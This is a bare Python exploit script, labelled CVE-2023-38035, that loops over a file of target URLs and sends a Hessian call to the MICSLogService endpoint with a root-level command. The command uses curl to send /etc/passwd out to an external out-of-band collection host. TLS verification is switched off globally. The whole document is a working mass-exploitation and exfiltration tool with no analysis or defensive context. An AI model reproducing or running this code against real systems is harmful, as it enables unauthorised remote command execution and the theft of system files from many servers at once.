CVE-2023-38035

CVE-2023-38035.py

import ssl
from pyhessian.client import HessianProxy as H

# Disable SSL certificate verification globally for the Python process
ssl._create_default_https_context = ssl._create_unverified_context

# Read the list of URLs from the file
url_list = open('final.txt').readlines()

for url1 in url_list:
    url1 = url1.strip()  # Remove any leading/trailing whitespace
    url = url1 + '/mics/services/MICSLogService'
    print(url)

    proxy = H(url)

    command_data = {
        'command': 'curl -X POST -d @/etc/passwd http://xxxxxxxxxxxxxx.oast.fun',
        'isRoot': True
    }

    try:
        result = proxy.uploadFileUsingFileInput(command_data, None)
        print(result)
    except Exception as e:
        print(f"An error occurred: {e}")